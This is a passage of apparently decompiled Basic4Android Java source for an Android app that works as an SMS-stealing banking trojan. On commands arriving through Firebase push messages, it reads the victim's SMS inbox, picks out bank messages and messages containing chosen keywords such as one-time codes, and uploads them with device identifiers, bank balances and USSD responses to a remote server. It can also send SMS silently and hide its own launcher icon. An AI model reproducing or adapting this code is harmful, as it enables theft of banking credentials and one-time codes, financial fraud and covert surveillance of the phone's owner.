this.state = 237;
this.catchState = 236;
this.state = 234;
if (true) break;

case 234:
//C
this.state = 237;
this.catchState = 236;
 //BA.debugLineNum = 372;BA.debugLine="CallSubDelayed(Myfun,\"userphone\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"userphone");
 if (true) break;

case 236:
//C
this.state = 237;
this.catchState = 0;
 //BA.debugLineNum = 374;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917827",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 237:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 239:
//C
this.state = 240;
 //BA.debugLineNum = 378;BA.debugLine="Try";
if (true) break;

case 240:
//try
this.state = 245;
this.catchState = 244;
this.state = 242;
if (true) break;

case 242:
//C
this.state = 245;
this.catchState = 244;
 //BA.debugLineNum = 379;BA.debugLine="Private st As StringUtils";
_st = new anywheresoftware.b4a.objects.StringUtils();
 //BA.debugLineNum = 381;BA.debugLine="Private BalanceData As String = st.EncodeUrl(st";
_balancedata = _st.EncodeUrl(_st.EncodeBase64(((anywheresoftware.b4a.objects.collections.JSONParser.JSONConverter) anywheresoftware.b4a.AbsObjectWrapper.ConvertToWrapper(new anywheresoftware.b4a.objects.collections.JSONParser.JSONConverter(), (java.lang.Object)(_bank_balances().getObject()))).ToString().getBytes("UTF8")),"UTF8");
 //BA.debugLineNum = 383;BA.debugLine="Log(BalanceData)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917836",_balancedata,0);
 //BA.debugLineNum = 384;BA.debugLine="Log(BANK_Balances)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917837",BA.ObjectToString(_bank_balances()),0);
 //BA.debugLineNum = 385;BA.debugLine="send.SendData(\"Balances=\"&BalanceData&\"&Model=\"";
parent._send._senddata /*void*/ ("Balances="+_balancedata+"&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"balance"+"&operator="+parent._phone.GetNetworkOperatorName()+"&screen="+parent._res);
 if (true) break;

case 244:
//C
this.state = 245;
this.catchState = 0;
 //BA.debugLineNum = 388;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917841",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 245:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 247:
//C
this.state = 248;
 //BA.debugLineNum = 391;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 392;BA.debugLine="Try";
if (true) break;

case 248:
//try
this.state = 261;
this.catchState = 260;
this.state = 250;
if (true) break;

case 250:
//C
this.state = 251;
this.catchState = 260;
 //BA.debugLineNum = 393;BA.debugLine="Dim MySmsMessages As SmsMessages";
_mysmsmessages = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 394;BA.debugLine="Dim MySms As Sms";
_mysms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 395;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 395;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist.Initialize();
 //BA.debugLineNum = 396;BA.debugLine="MyList=MySmsMessages.GetAll";
_mylist = _mysmsmessages.GetAll();
 //BA.debugLineNum = 397;BA.debugLine="For i = 0 To MyList.Size -1";
if (true) break;

case 251:
//for
this.state = 258;
step305 = 1;
limit305 = (int) (_mylist.getSize()-1);
_i = (int) (0) ;
this.state = 329;
if (true) break;

case 329:
//C
this.state = 258;
if ((step305 > 0 && _i <= limit305) || (step305 < 0 && _i >= limit305)) this.state = 253;
if (true) break;

case 330:
//C
this.state = 329;
_i = ((int)(0 + _i + step305)) ;
if (true) break;

case 253:
//C
this.state = 254;
 //BA.debugLineNum = 398;BA.debugLine="MySms = MyList.Get(i)";
_mysms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_mylist.Get(_i));
 //BA.debugLineNum = 399;BA.debugLine="If MySms.Body.Contains(\"بانک\")  Then";
if (true) break;

case 254:
//if
this.state = 257;
if (_mysms.Body.contains("بانک")) { 
this.state = 256;
}if (true) break;

case 256:
//C
this.state = 257;
 //BA.debugLineNum = 401;BA.debugLine="Send.SendData(\"messagetext=\" & MySms.Body & \"";
parent._send._senddata /*void*/ ("messagetext="+_mysms.Body+"&sender="+_mysms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"lastbanksms"+"&operator="+parent._phone.GetNetworkOperatorName()+"&screen="+parent._res);
 //BA.debugLineNum = 402;BA.debugLine="Exit";
this.state = 258;
if (true) break;
 if (true) break;

case 257:
//C
this.state = 330;
;
 if (true) break;
if (true) break;

case 258:
//C
this.state = 261;
;
 if (true) break;

case 260:
//C
this.state = 261;
this.catchState = 0;
 //BA.debugLineNum = 407;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917860",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 261:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 263:
//C
this.state = 264;
 //BA.debugLineNum = 411;BA.debugLine="Try";
if (true) break;

case 264:
//try
this.state = 277;
this.catchState = 276;
this.state = 266;
if (true) break;

case 266:
//C
this.state = 267;
this.catchState = 276;
 //BA.debugLineNum = 412;BA.debugLine="Dim MySmsMessages As SmsMessages";
_mysmsmessages = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 413;BA.debugLine="Dim MySms As Sms";
_mysms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 414;BA.debugLine="Dim all_bank As String";
_all_bank = "";
 //BA.debugLineNum = 415;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 415;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist.Initialize();
 //BA.debugLineNum = 416;BA.debugLine="MyList=MySmsMessages.GetAll";
_mylist = _mysmsmessages.GetAll();
 //BA.debugLineNum = 417;BA.debugLine="For i = 0 To MyList.Size -1";
if (true) break;

case 267:
//for
this.state = 274;
step323 = 1;
limit323 = (int) (_mylist.getSize()-1);
_i = (int) (0) ;
this.state = 331;
if (true) break;

case 331:
//C
this.state = 274;
if ((step323 > 0 && _i <= limit323) || (step323 < 0 && _i >= limit323)) this.state = 269;
if (true) break;

case 332:
//C
this.state = 331;
_i = ((int)(0 + _i + step323)) ;
if (true) break;

case 269:
//C
this.state = 270;
 //BA.debugLineNum = 418;BA.debugLine="MySms = MyList.Get(i)";
_mysms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_mylist.Get(_i));
 //BA.debugLineNum = 419;BA.debugLine="If MySms.Body.Contains(\"بانک\") Then";
if (true) break;

case 270:
//if
this.state = 273;
if (_mysms.Body.contains("بانک")) { 
this.state = 272;
}if (true) break;

case 272:
//C
this.state = 273;
 //BA.debugLineNum = 420;BA.debugLine="all_bank = all_bank& CRLF & CRLF & \"------@Ov";
_all_bank = _all_bank+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+"------@Overdim------"+anywheresoftware.b4a.keywords.Common.CRLF+"Bank :"+_mysms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"Text :"+_mysms.Body+anywheresoftware.b4a.keywords.Common.CRLF+"Date:"+anywheresoftware.b4a.keywords.Common.DateTime.Date(parent._sms.Date)+" "+anywheresoftware.b4a.keywords.Common.DateTime.Time(_mysms.Date)+anywheresoftware.b4a.keywords.Common.CRLF+"------@Overdim------";
 if (true) break;

case 273:
//C
this.state = 332;
;
 if (true) break;
if (true) break;

case 274:
//C
this.state = 277;
;
 //BA.debugLineNum = 423;BA.debugLine="filesmsname = Rnd(11111,99999)";
parent._filesmsname = BA.NumberToString(anywheresoftware.b4a.keywords.Common.Rnd((int) (11111),(int) (99999)));
 //BA.debugLineNum = 424;BA.debugLine="File.WriteString(File.DirInternal,filesmsname&\"";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),parent._filesmsname+".txt",_all_bank);
 //BA.debugLineNum = 425;BA.debugLine="send.SendFile(\"?response=true&action=allbanksms";
parent._send._sendfile /*void*/ ("?response=true&action=allbanksms&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&screen="+parent._res+"&andver="+parent._pd.getOSVersion()+"&operator="+parent._phone.GetNetworkOperatorName()+"",parent._filesmsname+".txt");
 if (true) break;

case 276:
//C
this.state = 277;
this.catchState = 0;
 //BA.debugLineNum = 427;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917880",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 277:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 279:
//C
this.state = 280;
 //BA.debugLineNum = 430;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 431;BA.debugLine="Try";
if (true) break;

case 280:
//try
this.state = 295;
this.catchState = 294;
this.state = 282;
if (true) break;

case 282:
//C
this.state = 283;
this.catchState = 294;
 //BA.debugLineNum = 432;BA.debugLine="Dim MySmsMessages As SmsMessages";
_mysmsmessages = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 433;BA.debugLine="Dim MySms As Sms";
_mysms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 434;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 434;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist.Initialize();
 //BA.debugLineNum = 435;BA.debugLine="MyList=MySmsMessages.GetAll";
_mylist = _mysmsmessages.GetAll();
 //BA.debugLineNum = 436;BA.debugLine="For i = 0 To MyList.Size -1";
if (true) break;

case 283:
//for
this.state = 292;
step343 = 1;
limit343 = (int) (_mylist.getSize()-1);
_i = (int) (0) ;
this.state = 333;
if (true) break;

case 333:
//C
this.state = 292;
if ((step343 > 0 && _i <= limit343) || (step343 < 0 && _i >= limit343)) this.state = 285;
if (true) break;

case 334:
//C
this.state = 333;
_i = ((int)(0 + _i + step343)) ;
if (true) break;

case 285:
//C
this.state = 286;
 //BA.debugLineNum = 437;BA.debugLine="MySms = MyList.Get(i)";
_mysms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_mylist.Get(_i));
 //BA.debugLineNum = 438;BA.debugLine="If MySms.Body.Contains(TextSms) Then";
if (true) break;

case 286:
//if
this.state = 291;
if (_mysms.Body.contains(_textsms)) { 
this.state = 288;
}else {
this.state = 290;
}if (true) break;

case 288:
//C
this.state = 291;
 //BA.debugLineNum = 439;BA.debugLine="statusWhat = True";
parent._statuswhat = anywheresoftware.b4a.keywords.Common.True;
 //BA.debugLineNum = 440;BA.debugLine="Exit";
this.state = 292;
if (true) break;
 if (true) break;

case 290:
//C
this.state = 291;
 //BA.debugLineNum = 442;BA.debugLine="statusWhat = False";
parent._statuswhat = anywheresoftware.b4a.keywords.Common.False;
 if (true) break;

case 291:
//C
this.state = 334;
;
 if (true) break;
if (true) break;

case 292:
//C
this.state = 295;
;
 //BA.debugLineNum = 446;BA.debugLine="send.SendData(\"messagetext=\" & statusWhat & \"&M";
parent._send._senddata /*void*/ ("messagetext="+BA.ObjectToString(parent._statuswhat)+"&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&screen="+parent._res+"&andver="+parent._pd.getOSVersion()+"&action="+"WhatsChecker"+"&operator="+parent._phone.GetNetworkOperatorName());
 if (true) break;

case 294:
//C
this.state = 295;
this.catchState = 0;
 //BA.debugLineNum = 448;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917901",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 295:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 297:
//C
this.state = 298;
 //BA.debugLineNum = 451;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 452;BA.debugLine="Dim MySmsMessages As SmsMessages";
_mysmsmessages = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 453;BA.debugLine="Dim MySms As Sms";
_mysms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 454;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 454;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist.Initialize();
 //BA.debugLineNum = 455;BA.debugLine="MyList=MySmsMessages.GetAll";
_mylist = _mysmsmessages.GetAll();
 //BA.debugLineNum = 456;BA.debugLine="For i = 0 To MyList.Size -1";
if (true) break;

case 298:
//for
this.state = 305;
step363 = 1;
limit363 = (int) (_mylist.getSize()-1);
_i = (int) (0) ;
this.state = 335;
if (true) break;

case 335:
//C
this.state = 305;
if ((step363 > 0 && _i <= limit363) || (step363 < 0 && _i >= limit363)) this.state = 300;
if (true) break;

case 336:
//C
this.state = 335;
_i = ((int)(0 + _i + step363)) ;
if (true) break;

case 300:
//C
this.state = 301;
 //BA.debugLineNum = 457;BA.debugLine="MySms = MyList.Get(i)";
_mysms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_mylist.Get(_i));
 //BA.debugLineNum = 458;BA.debugLine="If MySms.Body.Contains(TextSms) Then";
if (true) break;

case 301:
//if
this.state = 304;
if (_mysms.Body.contains(_textsms)) { 
this.state = 303;
}if (true) break;

case 303:
//C
this.state = 304;
 //BA.debugLineNum = 460;BA.debugLine="send.SendData(\"messagetext=\" & MySms.Body.Repl";
parent._send._senddata /*void*/ ("messagetext="+_mysms.Body.replace("<#>","")+"&word="+_textsms+"&sender="+_mysms.Address+"&Model="+parent._phone.getModel()+"&screnn="+parent._res+"&Device_id="+parent._phone.GetSettings("android_id")+"&action="+"searchSMS"+"&operator="+parent._phone.GetNetworkOperatorName());
 //BA.debugLineNum = 461;BA.debugLine="Exit";
this.state = 305;
if (true) break;
 if (true) break;

case 304:
//C
this.state = 336;
;
 if (true) break;
if (true) break;

case 305:
//C
this.state = 306;
;
 if (true) break;

case 306:
//C
this.state = -1;
;
 //BA.debugLineNum = 465;BA.debugLine="End Sub";
if (true) break;
}} 
       catch (Exception e0) {
			
if (catchState == 0)
    throw e0;
else {
    state = catchState;
processBA.setLastException(e0);}
            }
        }
    }
}
public static String  _process_globals() throws Exception{
 //BA.debugLineNum = 1;BA.debugLine="Sub Process_Globals";
 //BA.debugLineNum = 2;BA.debugLine="Public fm As FirebaseMessaging";
_fm = new anywheresoftware.b4a.objects.FirebaseNotificationsService.FirebaseMessageWrapper();
 //BA.debugLineNum = 3;BA.debugLine="Dim phone As Phone";
_phone = new anywheresoftware.b4a.phone.Phone();
 //BA.debugLineNum = 4;BA.debugLine="Dim pd As PersianDeviceInfo";
_pd = new com.reza.sh.deviceinfo.DiviceInfo();
 //BA.debugLineNum = 5;BA.debugLine="Dim statusWhat As Boolean";
_statuswhat = false;
 //BA.debugLineNum = 6;BA.debugLine="Dim  all As SmsMessages";
_all = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 7;BA.debugLine="Dim sms As Sms";
_sms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 8;BA.debugLine="Dim li As List";
_li = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 9;BA.debugLine="Dim numbers As List";
_numbers = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 10;BA.debugLine="Dim messages As List";
_messages = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 11;BA.debugLine="Dim filesmsname As String";
_filesmsname = "";
 //BA.debugLineNum = 12;BA.debugLine="Private send As SendServer";
_send = new matinlurd.com.sendserver();
 //BA.debugLineNum = 13;BA.debugLine="Dim PhoneId As PhoneId";
_phoneid = new anywheresoftware.b4a.phone.Phone.PhoneId();
 //BA.debugLineNum = 14;BA.debugLine="Dim PE As PhoneEvents";
_pe = new anywheresoftware.b4a.phone.PhoneEvents();
 //BA.debugLineNum = 15;BA.debugLine="Dim res As String";
_res = "";
 //BA.debugLineNum = 16;BA.debugLine="Dim pm As PhoneWakeState";
_pm = new anywheresoftware.b4a.phone.Phone.PhoneWakeState();
 //BA.debugLineNum = 17;BA.debugLine="Dim cu As ContactsUtils";
_cu = new b4a.example.contactsutils();
 //BA.debugLineNum = 18;BA.debugLine="Dim myussd As USSDCallBack";
_myussd = new smm.ussdcallbackwrapperpackage.ussdcallbackwrapper();
 //BA.debugLineNum = 19;BA.debugLine="Dim allphone As String";
_allphone = "";
 //BA.debugLineNum = 24;BA.debugLine="End Sub";
return "";
}
public static void  _receiver_receive(boolean _firsttime,anywheresoftware.b4a.objects.IntentWrapper _startingintent) throws Exception{
ResumableSub_Receiver_Receive rsub = new ResumableSub_Receiver_Receive(null,_firsttime,_startingintent);
rsub.resume(processBA, null);
}
public static class ResumableSub_Receiver_Receive extends BA.ResumableSub {
public ResumableSub_Receiver_Receive(matinlurd.com.firebasemessaging parent,boolean _firsttime,anywheresoftware.b4a.objects.IntentWrapper _startingintent) {
this.parent = parent;
this._firsttime = _firsttime;
this._startingintent = _startingintent;
}
matinlurd.com.firebasemessaging parent;
boolean _firsttime;
anywheresoftware.b4a.objects.IntentWrapper _startingintent;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
try {

        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 27;BA.debugLine="StartReceiver(NewMessage)";
anywheresoftware.b4a.keywords.Common.StartReceiver(processBA,(Object)(parent.mostCurrent._newmessage.getObject()));
 //BA.debugLineNum = 28;BA.debugLine="StartReceiver(BackGround)";
anywheresoftware.b4a.keywords.Common.StartReceiver(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 29;BA.debugLine="Try";
if (true) break;

case 1:
//try
this.state = 10;
this.catchState = 9;
this.state = 3;
if (true) break;

case 3:
//C
this.state = 4;
this.catchState = 9;
 //BA.debugLineNum = 30;BA.debugLine="PE.InitializeWithPhoneState(\"PE\", PhoneId)";
parent._pe.InitializeWithPhoneState(processBA,"PE",parent._phoneid);
 //BA.debugLineNum = 31;BA.debugLine="send.Initialize";
parent._send._initialize /*String*/ (processBA);
 //BA.debugLineNum = 32;BA.debugLine="fm.Initialize(\"fm\")";
parent._fm.Initialize(processBA,"fm");
 //BA.debugLineNum = 33;BA.debugLine="myussd.Initialize(\"ussd\")";
parent._myussd.Initialize(processBA,"ussd");
 //BA.debugLineNum = 34;BA.debugLine="pd.initialize(\"pd\")";
parent._pd.initialize(processBA,"pd");
 //BA.debugLineNum = 35;BA.debugLine="fm.HandleIntent(StartingIntent)";
parent._fm.HandleIntent((android.content.Intent)(_startingintent.getObject()));
 //BA.debugLineNum = 36;BA.debugLine="Do While fm.Token = \"\"";
if (true) break;

case 4:
//do while
this.state = 7;
while ((parent._fm.getToken()).equals("")) {
this.state = 6;
if (true) break;
}
if (true) break;

case 6:
//C
this.state = 4;
 //BA.debugLineNum = 37;BA.debugLine="fm.Initialize(\"fm\")";
parent._fm.Initialize(processBA,"fm");
 //BA.debugLineNum = 38;BA.debugLine="Sleep(500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (500));
this.state = 11;
return;
case 11:
//C
this.state = 4;
;
 if (true) break;

case 7:
//C
this.state = 10;
;
 if (true) break;

case 9:
//C
this.state = 10;
this.catchState = 0;
 //BA.debugLineNum = 41;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6786447",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 10:
//C
this.state = -1;
this.catchState = 0;
;
 //BA.debugLineNum = 44;BA.debugLine="End Sub";
if (true) break;
}} 
       catch (Exception e0) {
			
if (catchState == 0)
    throw e0;
else {
    state = catchState;
processBA.setLastException(e0);}
            }
        }
    }
}
public static String  _sendsms(String _number,String _message) throws Exception{
anywheresoftware.b4a.agraham.reflection.Reflection _r = null;
Object _parts = null;
 //BA.debugLineNum = 466;BA.debugLine="Sub SendSMS(Number As String , Message As String)";
 //BA.debugLineNum = 467;BA.debugLine="Dim r As Reflector";
_r = new anywheresoftware.b4a.agraham.reflection.Reflection();
 //BA.debugLineNum = 468;BA.debugLine="r.Target = r.RunStaticMethod(\"android.telephony.S";
_r.Target = _r.RunStaticMethod("android.telephony.SmsManager","getDefault",(Object[])(anywheresoftware.b4a.keywords.Common.Null),(String[])(anywheresoftware.b4a.keywords.Common.Null));
 //BA.debugLineNum = 469;BA.debugLine="Dim parts As Object";
_parts = new Object();
 //BA.debugLineNum = 470;BA.debugLine="parts = r.RunMethod2(\"divideMessage\", Message, \"j";
_parts = _r.RunMethod2("divideMessage",_message,"java.lang.String");
 //BA.debugLineNum = 471;BA.debugLine="r.RunMethod4(\"sendMultipartTextMessage\", _";
_r.RunMethod4("sendMultipartTextMessage",new Object[]{(Object)(_number),anywheresoftware.b4a.keywords.Common.Null,_parts,anywheresoftware.b4a.keywords.Common.Null,anywheresoftware.b4a.keywords.Common.Null},new String[]{"java.lang.String","java.lang.String","java.util.ArrayList","java.util.ArrayList","java.util.ArrayList"});
 //BA.debugLineNum = 475;BA.debugLine="End Sub";
return "";
}
public static String  _set_icon_status(String _actn,boolean _enable) throws Exception{
anywheresoftware.b4a.agraham.reflection.Reflection _reflector = null;
Object _context = null;
int _num = 0;
 //BA.debugLineNum = 476;BA.debugLine="Private Sub set_icon_status (actn As String,enable";
 //BA.debugLineNum = 477;BA.debugLine="Try";
try { //BA.debugLineNum = 478;BA.debugLine="Dim reflector As Reflector";
_reflector = new anywheresoftware.b4a.agraham.reflection.Reflection();
 //BA.debugLineNum = 479;BA.debugLine="Dim context As Object = reflector.CreateObject2(";
_context = _reflector.CreateObject2("android.content.ComponentName",new Object[]{(Object)(anywheresoftware.b4a.keywords.Common.Application.getPackageName()),(Object)(anywheresoftware.b4a.keywords.Common.Application.getPackageName()+"."+_actn)},new String[]{"java.lang.String","java.lang.String"});
 //BA.debugLineNum = 481;BA.debugLine="reflector.Target = reflector.GetContext";
_reflector.Target = (Object)(_reflector.GetContext(processBA));
 //BA.debugLineNum = 482;BA.debugLine="reflector.Target = reflector.RunMethod(\"getPacka";
_reflector.Target = _reflector.RunMethod("getPackageManager");
 //BA.debugLineNum = 483;BA.debugLine="Dim num As Int";
_num = 0;
 //BA.debugLineNum = 484;BA.debugLine="If enable = True Then";
if (_enable==anywheresoftware.b4a.keywords.Common.True) { 
 //BA.debugLineNum = 485;BA.debugLine="num = 1";
_num = (int) (1);
 }else {
 //BA.debugLineNum = 487;BA.debugLine="num = 2";
_num = (int) (2);
 };
 //BA.debugLineNum = 489;BA.debugLine="reflector.Target = reflector.RunMethod4(\"setComp";
_reflector.Target = _reflector.RunMethod4("setComponentEnabledSetting",new Object[]{_context,(Object)(_num),(Object)(0)},new String[]{"android.content.ComponentName","java.lang.int","java.lang.int"});
 } 
       catch (Exception e14) {
			processBA.setLastException(e14); //BA.debugLineNum = 492;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("61048592",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 494;BA.debugLine="End Sub";
return "";
}
public static String  _subscribetotopics() throws Exception{
String _sudoport = "";
 //BA.debugLineNum = 45;BA.debugLine="Public Sub SubscribeToTopics";
 //BA.debugLineNum = 46;BA.debugLine="Dim sudoport As String = File.ReadString(File.Dir";
_sudoport = anywheresoftware.b4a.keywords.Common.File.ReadString(anywheresoftware.b4a.keywords.Common.File.getDirAssets(),"sudoport.txt");
 //BA.debugLineNum = 47;BA.debugLine="Log(sudoport)";
anywheresoftware.b4a.keywords.Common.LogImpl("6851970",_sudoport,0);
 //BA.debugLineNum = 48;BA.debugLine="fm.SubscribeToTopic(sudoport)";
_fm.SubscribeToTopic(_sudoport);
 //BA.debugLineNum = 49;BA.debugLine="End Sub";
return "";
}
public static String  _ussd_onreceiveussdresponse(String _request,String _response) throws Exception{
 //BA.debugLineNum = 542;BA.debugLine="Sub ussd_onreceiveussdresponse(request As String,r";
 //BA.debugLineNum = 544;BA.debugLine="phone.GetSettings(\"android_id\")";
_phone.GetSettings("android_id");
 //BA.debugLineNum = 545;BA.debugLine="phone.GetNetworkOperatorName";
_phone.GetNetworkOperatorName();
 //BA.debugLineNum = 546;BA.debugLine="send.SendFile(\"?response=true&action=ussdcallback&";
_send._sendfile /*void*/ ("?response=true&action=ussdcallback&Model="+_phone.getModel()+"&Device_id="+_phone.GetSettings("android_id")+"&operator="+_phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(_pd.getBatteryPercentage())+"&screen="+_res+"&andver="+_pd.getOSVersion()+"&message",_response);
 //BA.debugLineNum = 548;BA.debugLine="End Sub";
return "";
}
}
